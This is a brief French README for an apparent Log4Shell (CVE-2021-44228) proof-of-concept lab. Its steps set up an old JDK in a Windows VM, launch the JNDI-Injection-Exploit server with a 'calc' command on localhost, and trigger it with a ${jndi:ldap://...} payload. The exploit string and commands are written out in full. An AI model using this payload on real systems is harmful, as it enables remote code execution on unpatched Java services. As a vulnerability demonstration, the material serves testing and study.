CVE-2021-44228_Log4Shell

CVE-2021-44228_Log4Shell

Code source de test pour Log4Shell (CVE-2021-44228).

Informations sur les étapes

1. Installez JDK8 (< 8u191) dans une machine virtuelle (Windows 10).

2. Copiez out\artifacts\POC_jar\POC.jar dans Windows.

3. Copiez JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar dans Windows, Obtenir JNDI-Injection-Exploit

4. Exécutez java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

5. Exécutez java -jar POC.jar ${jndi:ldap://127.0.0.1:1389/*****}